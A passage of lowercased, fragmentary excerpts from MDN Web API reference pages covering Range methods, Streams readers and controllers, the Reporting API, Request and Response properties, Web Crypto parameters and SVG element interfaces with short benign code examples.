... document object model (dom) level 2 traversal and range specificationthe definition of 'range.selectnode()' in that specification.
... obsolete initial specification.
Range.selectNodeContents() - Web APIs
ener('click', e => { // clear any current selection const selection = window.getselection(); selection.removeallranges(); // select paragraph const range = document.createrange(); range.selectnodecontents(p); selection.addrange(range); }); deselectbutton.addeventlistener('click', e => { const selection = window.getselection(); selection.removeallranges(); }); result specifications specification status comment domthe definition of 'range.selectnodecontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.selectnodecontents()' in that specification.
... obsolete initial specification.
Range.setEndAfter() - Web APIs
WebAPIRangesetEndAfter
example var range = document.createrange(); var referencenode = document.getelementsbytagname('div').item(0); range.setendafter(referencenode); specifications specification status comment domthe definition of 'range.setendafter()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setendafter()' in that specification.
... obsolete initial specification.
Range.setEndBefore() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setendbefore(referencenode); specifications specification status comment domthe definition of 'range.setendbefore()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setendbefore()' in that specification.
... obsolete initial specification.
Range.setStart() - Web APIs
WebAPIRangesetStart
html <p id="content">0123456789</p> <p id="log"></p> javascript const element = document.getelementbyid('content'); const textnode = element.childnodes[0]; const range = document.createrange(); range.setstart(textnode, 0); // start at first character range.setend(textnode, 5); // end at fifth character document.getelementbyid('log').textcontent = range; result specifications specification status comment domthe definition of 'range.setstart()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstart()' in that specification.
... obsolete initial specification.
Range.setStartAfter() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setstartafter(referencenode); specifications specification status comment domthe definition of 'range.setstartafter()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstartafter()' in that specification.
... obsolete initial specification.
Range.setStartBefore() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setstartbefore(referencenode); specifications specification status comment domthe definition of 'range.setstartbefore()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstartbefore()' in that specification.
... obsolete initial specification.
Range.startContainer - Web APIs
syntax startrangenode = range.startcontainer; example range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); startrangenode = range.startcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.startcontainer' in that specification.
... obsolete initial specification.
Range.startOffset - Web APIs
WebAPIRangestartOffset
syntax startrangeoffset = range.startoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); var startrangeoffset = range.startoffset; specifications specification status comment domthe definition of 'range.startoffset' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.startoffset' in that specification.
... obsolete initial specification.
Range.surroundContents() - Web APIs
example html <span class="header-text">put this in a headline</span> javascript const range = document.createrange(); const newparent = document.createelement('h1'); range.selectnode(document.queryselector('.header-text')); range.surroundcontents(newparent); result specifications specification status comment domthe definition of 'range.surroundcontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.surroundcontents()' in that specification.
... obsolete initial specification.
ReadableByteStreamController - Web APIs
readablebytestreamcontroller instances are created automatically during readablestream construction.
... readablebytestreamcontroller.error() causes any future interactions with the associated stream to error.
... specifications specification status comment streamsthe definition of 'readablebytestreamcontroller' in that specification.
ReadableStreamBYOBReader - Web APIs
the readablestreambyobreader interface of the streams api represents a byob ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g.
... methods readablestreambyobreader.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer.
... specifications specification status comment streamsthe definition of 'readablestreambyobreader' in that specification.
ReadableStreamBYOBRequest - Web APIs
a view, as mentioned below, refers to a typed array representing the destination region to which the associated readablebytestreamcontroller controller can write generated data.
...readablestreambyobrequest instance is created automatically by readablebytestreamcontroller as needed.
... specifications specification status comment streamsthe definition of 'readablestreambyobrequest' in that specification.
ReadableStreamDefaultController.close() - Web APIs
if you want to completely get rid of the stream and discard any enqueued chunks, you'd use readablestream.cancel() or readablestreamdefaultreader.cancel().
...a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason.
...e(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'close()' in that specification.
ReadableStreamDefaultController.error() - Web APIs
the error() method of the readablestreamdefaultcontroller interface causes any future interactions with the associated stream to error.
... note: the error() method can be called more than once, and can be called when the stream is not readable.
... specifications specification status comment streamsthe definition of 'error()' in that specification.
ReadableStreamDefaultReader.read() - Web APIs
examples example 1 - simple example this example shows the basic api usage, but doesn't try to deal with complications like stream chunks not ending on line boundaries for example.
...current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } example 2 - handling text line by line this example shows how you might fetch a text file and handle it as a stream of text lines.
...utf8decoder.decode(chunk) : ""); startindex = re.lastindex = 0; continue; } yield chunk.substring(startindex, result.index); startindex = re.lastindex; } if (startindex < chunk.length) { // last line didn't end in a newline char yield chunk.substr(startindex); } } for await (let line of maketextfilelineiterator(urloffile)) { processline(line); } specifications specification status comment streamsthe definition of 'read()' in that specification.
Report.body - Web APIs
WebAPIReportbody
depending on what type the report is, the object returned will actually be a deprecationreportbody, interventionreportbody, crashreportbody, or featurepolicyviolationreportbody.
... examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the first report's report body, i.e.
... a deprecationreportbody object console.log(firstreport.body); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification.
ReportingObserver.disconnect() - Web APIs
after calling disconnect(), neither reportingobserver.takerecords() nor the records parameter of the reportingobserver() callback will return any reports.
... syntax reportingobserverinstance.disconnect() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() ...
... observer.disconnect() specifications specification status comment reporting apithe definition of 'reportingobserver.disconnect()' in that specification.
Request.context - Web APIs
WebAPIRequestcontext
the deprecated context read-only property of the request interface contains the context of the request (e.g., audio, image, iframe).
... the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the url is for an image, or an embeddable object such as a <video>, iframe, etc.
... note: you can find a full list of the different available contexts including associated context frame types, csp directives, and platform feature examples in the fetch spec request context section.
Request.mode - Web APIs
WebAPIRequestmode
default mode requests can be initiated in a variety of ways, and the mode for a request depends on the particular means by which it was initiated.
... however, for requests created other than by the request.request constructor, no-cors is typically used as the mode; for example, for embedded resources where the request is initiated from markup, unless the crossorigin attribute is present, the request is in most cases made using the no-cors mode — that is, for the <link> or <script> elements (except when used with modules), or <img>, <audio>, <video>, <object>, <embed>, or <iframe> elements.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
RequestDestination - Web APIs
these string values indicate potential types of content that a request may try to retrieve.
...navigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more.
... specifications specification status comment fetchthe definition of 'requestdestination' in that specification.
ResizeObserverEntry.target - Web APIs
we could just implement this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners; this solution gives you nice square corners that scale with the box size.
... to grab a reference to the observed element so we can update its border-radius value after each change, we make use of the target property of each entry — entry.target.style.borderradius.
...contentboxsize.inlinesize/10) + (entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observerthe definition of 'target' in that specification.
Response.clone() - Web APIs
WebAPIResponseclone
the clone() method of the response interface creates a clone of a response object, identical in every way, but stored in a different variable.
...when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements.
...'.img2'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image1.src = objecturl; }); response2.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image2.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'clone()' in that specification.
Response.type - Web APIs
WebAPIResponsetype
it can be one of the following: basic: normal, same origin response, with all headers exposed except “set-cookie” and “set-cookie2″.
... syntax var mytype = response.type; value a responsetype string indicating the type of the response.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'type' in that specification.
RsaHashedImportParams - Web APIs
this can be one of sha-256, sha-384, or sha-512.
... warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedimportparams' in that specification.
RsaHashedKeyGenParams - Web APIs
you can pass any of sha-256, sha-384, or sha-512 here.
... warning: although you can technically pass sha-1 as a value here, this is strongly discouraged as sha-1 is considered vulnerable.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedkeygenparams' in that specification.
SVGAElement.target - Web APIs
syntax mylink.target = 'value'; value an svganimatedstring indicating the ending resource target that opens the document when the link is activated.
... sample values can be found here example the code is taken from the "svgaelement example code" ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'target' in that specification.
SVGAltGlyphDefElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgaltglyphdefelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphdefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all...
...;} warning: this interface was removed in the svg 2 specification.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgaltglyphdefelement' in that specification.
SVGAltGlyphElement - Web APIs
this interface makes it possible to implement more sophisticated and particular glyph characters.
...musical symbols) or even alternate glyphs such as asian text strings it is required that a different set of glyphs be used than the normal given character data.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgaltglyphelement' in that specification.
SVGAltGlyphItemElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgaltglyphitemelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events:...
... all;} warning: this interface was removed in the svg 2 specification.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgaltglyphitemelement' in that specification.
SVGAnimateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment svg animations level 2the definition of 'svganimateelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimateelement' in that specification.
SVGAnimateMotionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x...
... specifications specification status comment svg animations level 2the definition of 'svganimatemotionelement' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimatemotionelement' in that specification.
SVGAnimateTransformElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><...
... specifications specification status comment svg animations level 2the definition of 'svganimatetransformelement' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimatetransformelement' in that specification.
SVGClipPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,3...
... specifications specification status comment css masking module level 1the definition of 'svgclippathelement' in that specification.
... candidate recommendation removed the inheritance from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgclippathelement' in that specification.
SVGComponentTransferFunctionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
... specifications specification status comment filter effects module level 1the definition of 'svgcomponenttransferfunctionelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcomponenttransferfunctionelement' in that specification.
SVGDefsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdefselement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdefselement' in that specification.
SVGDescElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdescelement' in that specification.
... candidate recommendation removed the inheritance from svglangspace and svgstylable scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdescelement' in that specification.
SVGElement: error event - Web APIs
this basically implements the standard error dom event.
... bubbles yes cancelable no interface svgevent event handler property onerror examples svgelem.addeventlistener('error', () => { console.log('svg not loaded properly.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'error' in that specification.
... candidate recommendation initial definition ...
SVGElement: scroll event - Web APIs
this basically implements the standard scroll dom event.
... bubbles no cancelable no interface svgevent event handler property onscroll examples svgelem.addeventlistener('scroll', () => { console.log('svg scrolled.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
... candidate recommendation initial definition ...
SVGEllipseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/>...
... example svg content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="100" rx="100" ry="60" id="ellipse" onclick="outputsize();"/> </svg> javascript content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry.baseval.valueasstring ) } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgellipseelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgellipseelement' in that specification.
SVGFEBlendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfeblendelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeblendelement' in that specification.
SVGFEColorMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x...
... specifications specification status comment filter effects module level 1the definition of 'svgfecolormatrixelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecolormatrixelement' in that specification.
SVGFEComponentTransferElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="no...
... specifications specification status comment filter effects module level 1the definition of 'svgfecomponenttransferelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecomponenttransferelement' in that specification.
SVGFECompositeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="1...
... specifications specification status comment filter effects module level 1the definition of 'svgfecompositeelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecompositeelement' in that specification.
SVGFEDistantLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... specifications specification status comment filter effects module level 1the definition of 'svgfedistantlightelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfedistantlightelement' in that specification.
SVGFEFloodElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfefloodelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefloodelement' in that specification.
SVGFEFuncBElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfefuncbelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncbelement' in that specification.
SVGFEFuncGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfefuncgelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncgelement' in that specification.
SVGFEFuncRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfefuncrelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncrelement' in that specification.
SVGFEImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfeimageelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeimageelement' in that specification.
SVGFEMergeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment filter effects module level 1the definition of 'svgfemergeelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergeelement' in that specification.
SVGFEMergeNodeElement - Web APIs
